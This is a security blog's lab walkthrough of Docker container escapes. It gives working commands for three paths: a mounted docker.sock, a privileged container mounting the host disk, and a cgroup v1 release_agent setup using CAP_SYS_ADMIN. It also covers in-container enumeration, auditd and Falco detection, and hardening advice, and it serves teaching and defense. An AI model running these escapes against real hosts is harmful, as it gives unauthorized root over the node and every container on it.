0
Hands-on Labs ADVANCED 15 min read Updated

Breaking Out of a Docker Container in a Lab

A hands-on Docker container escape walkthrough on a lab host: how namespaces, cgroups and capabilities isolate a container, how to enumerate one from the inside, and worked escapes through a mounted docker.sock, a privileged container and an over-broad capability, with detection and defense.

founder & security researcher · 39 writeups
Breaking Out of a Docker Container in a Lab

A Docker container escape is what happens when a process that is supposed to stay inside its container reaches the host it runs on, and from there it owns everything else on the box. The container was never meant to be a hard wall. It is a set of kernel features that limit what a process sees and can do, and when those features are configured loosely, a user inside the container can step over them and land as root on the host. This walkthrough runs the whole path on a lab host you own: how the isolation actually works, how to read a container from the inside and spot the weak spot, and three classic misconfigurations with a worked escape for each.

Read it in order the first time to build the model, then keep it open as a checklist. Every command here runs against a throwaway lab box, and the point is to understand the mechanism well enough to shut it down.

Scope

Run everything here only on a container host you own or are explicitly authorized to test, such as the lab host at 10.10.10.5. Breaking out of a container on infrastructure you do not control is unauthorized access and a crime. This is for learning and for hardening your own builds.

01What a Docker container escape really is

A Docker container escape is any technique that moves code execution from inside a container out to the host kernel and filesystem. A container is just a normal Linux process with a few extra restrictions wrapped around it, so an escape is not some exotic kernel zero-day most of the time. It is almost always a configuration gift: the operator handed the container a capability, a mount, or a socket that lets the process reach back to the host on purpose. Your job on a lab box is to find that gift and prove where it leads.

The reason this matters is simple. Teams treat containers as a security boundary, running untrusted code or internet-facing services inside them and assuming the host is safe. When the container is misconfigured, that assumption is wrong, and one compromised web app becomes full control of the node and every other container on it.

02How container isolation works: namespaces, cgroups and capabilities

Container isolation comes from three separate kernel features working together, and knowing which one does what tells you exactly where an escape can happen. There is no container object in the Linux kernel. Docker builds the illusion of a container out of parts that already exist.

Namespaces control what a process can see. A mount namespace gives the process its own view of the filesystem, a PID namespace makes it think it is process 1 with no view of host processes, and network, UTS, IPC and user namespaces each wall off another slice of the system. Control groups (cgroups) control how much a process can use: CPU, memory, and device access. Capabilities split the old all-or-nothing root power into around forty separate bits, so a container can run as uid 0 while holding only a trimmed set of those bits.

one kernel, several walls
Containera normal process Namespaces + cgroups + capsthe only walls Shared host kernelone for all

The key takeaway is in that last box. Every container on a host shares the one kernel. Weaken any of the three walls and the process underneath is already sitting next to the host, which is why a single loose setting is enough.

03What escape means and why a container is not a strong boundary

An escape means crossing from the container view of the world to the host view, usually ending as root on the node. Because the walls are optional kernel features rather than a hypervisor, you do not need to break out of a virtual machine. You need to find one wall that was left down or one bridge that was built on purpose.

That is the mental shift for this lab. A full virtual machine gives each guest its own kernel, so a guest-to-host break needs a real hypervisor bug. A container shares the kernel, so most escapes are not kernel exploits at all, they are the operator mounting the Docker socket, adding a dangerous capability, or starting the container with the privileged flag. Find the bridge, walk across it.

04The lab setup

The lab is one host so you can watch both sides of the escape. Stand up a single Docker host at 10.10.10.5, then start the containers you will attack on it. You want to run each scenario one at a time, so that when you land on the host you are sure which misconfiguration carried you there.

bash
# three deliberately weak containers on the lab host 10.10.10.5
# 1: the Docker socket mounted straight into the container
docker run -dit --name sockbox -v /var/run/docker.sock:/var/run/docker.sock alpine

# 2: a fully privileged container
docker run -dit --name privbox --privileged alpine

# 3: a single over-broad capability, no privileged flag
docker run -dit --name capbox --cap-add=SYS_ADMIN --security-opt apparmor=unconfined alpine

Treat each container as the point you have already landed in, for example through a vulnerable web app running inside it. The question from here is always the same: given this foothold, can I reach the host?

05Enumerating from inside a container

Enumeration from inside a container is about answering a short list of questions before you touch anything. You want to know whether you are privileged, whether the Docker socket is reachable, what the host has mounted into you, which capabilities you hold, and what /proc is willing to tell you. Those five answers point straight at the escape path, if there is one.

CheckWhat it tells you
cat /proc/self/status | grep CapYour capability masks; all bits set means privileged
ls -la /var/run/docker.sockWhether the Docker socket was mounted in
mount; cat /proc/mountsHost paths mounted into the container
cat /proc/1/cgroupcgroup paths that leak the host layout
capsh --printCapabilities in a readable form

Start with capabilities, because they decide what the rest of the escapes can even attempt. Read the CapEff mask and decode it. A default container holds a trimmed mask with many high bits cleared; a value of every bit set is the loud tell that you are in a privileged container.

reading your own capabilities
$ grep Cap /proc/self/status
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
$ capsh --decode=0000003fffffffff
0x3fffffffff=cap_chown,...,cap_sys_admin,...  (every capability)

A mask of all ones, the way this box reads it, means the container was started privileged. If instead you see a trimmed mask but still spot cap_sys_admin in the capsh --print output, that one capability alone is often enough, which is the third escape below. Next, check for the Docker socket and for host mounts, since either is a direct bridge.

looking for a socket and host mounts
$ ls -la /var/run/docker.sock
srw-rw---- 1 root root 0 Oct 11 09:02 /var/run/docker.sock
$ mount | grep -i host
/dev/sda1 on /host type ext4 (rw,relatime)

linpeas automates all of this and more, flagging the socket, the mounts and the capability set in one pass, so run it on the box if you have it. The manual checks are worth knowing anyway, because they tell you precisely which bridge you are about to walk across.

06Escape path one: a mounted Docker socket

A mounted Docker socket is the fastest escape there is, because the container can simply ask the host daemon to do its bidding. The file /var/run/docker.sock is the Docker daemon API, and the daemon runs as root on the host. Any process that can write to that socket can tell the daemon to start a new container, and it can ask for that container to mount the entire host filesystem.

If the Docker CLI is present in the container, the whole escape is one command. Point the client at the mounted socket, start a small image with the host root mounted at /host, and chroot into it.

bash
# inside sockbox, the socket is mounted in  # 0xpriv.dev/labs
docker -H unix:///var/run/docker.sock run -it --rm -v /:/host alpine chroot /host sh
# you are now root in a shell on the host filesystem

If the CLI is not installed, you are not stuck. The socket speaks plain HTTP, so curl --unix-socket /var/run/docker.sock against the container create and start endpoints does the same job with the same host mount. The mechanism is identical: the root daemon builds you a container that can see the host, and you climb into it.

Why this is so common

People mount the socket to let a container manage other containers, for example a CI runner or a dashboard. That convenience hands full host root to anything that compromises the container. There is almost never a safe way to do it.

07Escape path two: a privileged container

A privileged container is one started with the --privileged flag, and that flag removes nearly every restriction at once. It grants all capabilities, drops the seccomp and AppArmor profiles, and most usefully it hands the container access to the host device nodes. That last part is the clean escape: if you can see the host disks, you can mount one and read or write the host filesystem directly.

Confirm you are privileged

The capability mask from enumeration shows every bit set, and the host block devices appear under /dev.

Find the host disk

Run fdisk -l to list the block devices the host exposed, and pick the partition that holds the root filesystem.

Mount it

Create a mountpoint and mount the host partition into the container, giving you the host files directly.

Step onto the host

chroot into the mounted filesystem, or just write a root cron job or an SSH key, and you own the node.

bash
# inside privbox, host devices are visible because of --privileged
fdisk -l                 # lists host block devices, e.g. /dev/sda1
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host sh      # root shell on the host filesystem

There is a second well-known route out of a privileged container that does not touch the disk at all: the cgroup v1 release_agent trick. It is the same mechanism described in the capability section below, and a privileged container has every capability it needs for it. Mounting the host disk is simpler and reads cleaner in a report, so reach for it first and keep release_agent as the backup when the disk route is blocked.

08Escape path three: an over-broad capability (CAP_SYS_ADMIN)

An over-broad capability can carry you out even when the container is not privileged and no socket or host mount is in sight. CAP_SYS_ADMIN is the worst offender, because it allows the mount syscall, and mounting is the raw material for the cgroup v1 release_agent escape. People add this capability for a single feature, such as a FUSE filesystem, without realizing it reopens the door.

The idea behind release_agent is that cgroup v1 lets you register a program that the kernel runs, as root in the host namespace, when the last process in a cgroup exits. With CAP_SYS_ADMIN you can mount a cgroup controller yourself, point its release_agent at a script, and have the kernel run that script on the host for you.

bash
# cgroup v1 release_agent mechanism, SYS_ADMIN container, lab only
mount -t cgroup -o memory cgroup /mnt/cg      # needs CAP_SYS_ADMIN
mkdir /mnt/cg/x
echo 1 > /mnt/cg/x/notify_on_release          # fire on empty cgroup
# register a host-side trigger script, then populate and empty the cgroup
echo "/path/on/host/trigger.sh" > /mnt/cg/release_agent

The one detail that makes it work is the host path. The trigger script has to be written to a location the host can see, which you get from the container overlay upper directory shown in /etc/mtab. The script itself just needs to do something you can observe from the host, for example writing a marker file, since the whole point in a lab is to prove the kernel ran your code as root outside the container. This technique depends on cgroup v1 and on no AppArmor or seccomp profile blocking the mount, which is why hardened hosts shrug it off.

cgroup v2 changes this

The release_agent path is a cgroup v1 feature. Hosts on a pure cgroup v2 hierarchy do not expose it, so this specific escape stops working there. Still drop the capability, because SYS_ADMIN unlocks many other tricks.

09Confirming you reached the host

Confirming host access is the step people skip, and it is the one that turns a guess into a finding. Once you have a shell through any of the three paths, prove you are on the host and not still in a container. The hostname, the process list and the filesystem each give you a clean tell.

proving you are on the host, not the container
$ chroot /mnt/host sh
# id
uid=0(root) gid=0(root) groups=0(root)
# hostname
lab-docker-host
# ps -e | head -3
    1 ?  00:00:02 systemd
  418 ?  00:00:00 dockerd
# ls /root /home
host files, other users, the whole node

Inside a container you would see process 1 as your own app and a hostname that is a short container id. Seeing systemd and dockerd in the process list, a real hostname, and the host home directories is the proof. That is the escape, documented end to end.

10Detecting container escapes

Detecting a container escape is easier than stopping every misconfiguration, because the escape steps are noisy at the host level. The signals you want are mount syscalls coming from inside containers, writes to cgroup release_agent files, access to the Docker socket, and containers being created that nobody scheduled. Watch the host, not the container, because a compromised container cannot hide what the kernel and the daemon record.

bash
# auditd: flag socket access and in-container mounts on the lab host
auditctl -w /var/run/docker.sock -p rwxa -k docker-sock
auditctl -a always,exit -F arch=b64 -S mount -k container-mount

# Docker daemon events: a container you did not start is a red flag
docker events --filter event=create --filter event=start

Falco is the sharper tool here, because its default ruleset already ships with the exact behaviours an escape produces. Rules such as a shell spawned in a container, a write below a sensitive host path, a change of thread namespace, and the launch of a privileged or socket-mounting container all fire on the steps above. Point Falco at the host, keep the default rules on, and the docker.sock run, the host-disk mount and the release_agent write each light up.

Noise becomes signal

A legitimate app almost never calls mount, writes to a cgroup release_agent, or starts sibling containers. Because these are so rare in normal operation, alerting on the behaviour gives you a high-signal detection without chasing payload strings.

11Shutting it down

Shutting down container escapes comes down to not building the bridges in the first place, and then adding layers so that a single mistake is not fatal. The fixes below are ordered by how much they buy you, and most are a one-line change to how the container is run.

How to keep the container in the container
Never mount the Docker socket. Mounting /var/run/docker.sock hands host root to the container. If a container must manage Docker, use a brokered proxy with a tight allowlist instead.
Drop all capabilities, add back only what is needed. Run with --cap-drop=ALL and add single capabilities by name. Most workloads need none, and this alone kills the SYS_ADMIN path.
Do not use the privileged flag. --privileged removes almost every protection at once. Treat it as a bug in any production manifest.
Turn on user namespaces. With userns-remap, root in the container maps to an unprivileged user on the host, so even a breakout lands as nobody.
Run a read-only root filesystem. Start containers with --read-only and mount only the writable paths you truly need, shrinking what an attacker can plant.
Keep seccomp and AppArmor on. The default profiles block dangerous syscalls like mount. Never start a container with seccomp=unconfined or apparmor=unconfined outside a lab.
Prefer rootless Docker. Running the daemon as a normal user means a breakout inherits that user, not host root, cutting the impact of every path above.

12FAQ

Is a Docker container a real security boundary?FAQ

It is a boundary, but a soft one that depends entirely on configuration. A container shares the host kernel and is isolated only by namespaces, cgroups and capabilities. Configured tightly it holds up well for most workloads, but a single loose setting such as a mounted socket or the privileged flag can erase it. For strongly untrusted code, a virtual machine or a sandbox like gVisor is a harder boundary.

Does running as a non-root user inside the container stop escapes?FAQ

It helps but it is not enough on its own. A non-root user cannot mount filesystems or use most dangerous capabilities, which closes some paths. It does nothing about a mounted Docker socket, though, since talking to the socket only needs write access to the file. Combine a non-root user with dropped capabilities, user namespaces and no socket mount.

What is the single most dangerous Docker misconfiguration?FAQ

Mounting the Docker socket into a container. It is a direct line to the root daemon on the host, the escape is one command, and it is extremely common because people use it to let containers manage other containers. The privileged flag is a close second.

Why does CAP_SYS_ADMIN matter so much?FAQ

Because it allows the mount syscall and a long list of other administrative operations, so it is close to being root again. In cgroup v1 it enables the release_agent escape without any privileged flag. People add it for one small feature and reopen a major hole, which is why dropping all capabilities and adding back only what is needed is the safer habit.

How do I tell whether I have actually escaped to the host?FAQ

Check the hostname, process 1 and the filesystem. On the host you see a real hostname, systemd and dockerd in the process list, and the host home directories. Inside a container process 1 is usually your own application and the hostname is a short container id. If all three point at the host, you are out.

13Wrapping up

A Docker container escape is rarely a clever kernel exploit. It is the operator mounting a socket, adding a capability, or setting the privileged flag, and then the container walking across the bridge that mistake built. Learn to read a container from the inside in five checks, practice the three escapes on a lab host at 10.10.10.5 until the mechanism is obvious, and then go remove every bridge: no socket mount, no privileged flag, dropped capabilities, user namespaces and the default profiles left on. The escape stops being possible the moment the wall is whole.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Labs →

discussion

0 comments
`code` supported · comments are reviewed before they appear